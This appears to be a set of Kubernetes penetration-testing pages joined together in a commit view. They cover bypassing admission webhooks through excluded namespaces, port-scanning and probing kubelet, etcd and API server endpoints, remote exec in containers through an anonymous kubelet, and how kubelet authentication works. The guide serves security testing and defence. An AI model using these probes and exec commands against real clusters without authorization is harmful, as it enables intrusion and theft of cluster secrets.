ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
## Purpose
The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules.
**Example**
Here is an example of a ValidatingWebhookConfiguration:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-validation-webhook
namespace: default
webhook:
name: example-validation-webhook
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
```
The main difference between a ValidatingWebhookConfiguration and policies :&#x20;
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
## Enumeration
```
$ kubectl get ValidatingWebhookConfiguration
```
### Abusing Kyverno and Gatekeeper VWC
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Both come from with default values but the Administrator teams might updated those 2 files.
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Now, identify the following output :
```yaml
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- default
- TEST
- YOYO
- kube-system
- MYAPP
```
Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace.
The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## References
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
+214
View File
@@ -0,0 +1,214 @@
# Pentesting Kubernetes Services
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
## Finding exposed pods with OSINT
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
## How Kubernetes Exposes Services
It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Finding Exposed pods via port scanning
The following ports might be open in a Kubernetes cluster:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver
This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**.
**Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure.
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**
{{#ref}}
../kubernetes-enumeration.md
{{#endref}}
### Kubelet API
This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.
If you find this service exposed you might have found an **unauthenticated RCE**.
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
If the response is `Unauthorized` then it requires authentication.
If you can list nodes you can get a list of kubelets endpoints with:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (Read only)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### etcd API
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
You could abuse this service to escalate privileges inside Kubernetes:
### cAdvisor
Service useful to gather metrics.
```bash
curl -k https://<IP Address>:4194
```
### NodePort
When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
To understand better how the **authentication and authorization of the Kubelet API works** check this page:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
All of them sound interesting.
You can use the [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool to interact with Kubelets and their endpoints.
#### /pods
This endpoint list pods and their containers:
```bash
kubeletctl pods
```
#### /exec
This endpoint allows to execute code inside any container very easily:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
### **Checking Kubelet (Read Only Port) Information Exposure**
When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided.
An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://<external-IP>:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet:
![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
{{#endref}}
{{#ref}}
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
+109
View File
@@ -0,0 +1,109 @@
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
The **3** authentication **methods** are:
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
```json
"authentication": {
"webhook": {
"cacheTTL": "2m0s",
"enabled": true
},
```
> [!NOTE]
> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
- **X509 client certificates:** Allow to authenticate via X509 client certs
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
```json
"authentication": {
"x509": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
> [!WARNING]
> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
```json
"authorization": {
"mode": "Webhook",
"webhook": {
"cacheAuthorizedTTL": "5m0s",
"cacheUnauthorizedTTL": "30s"
}
},
```
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
For example, the following request tried to access the pods info of kubelet without permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
- We can see the **username** (in this case from the token)
- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
{{#include ../../../banners/hacktricks-training.md}}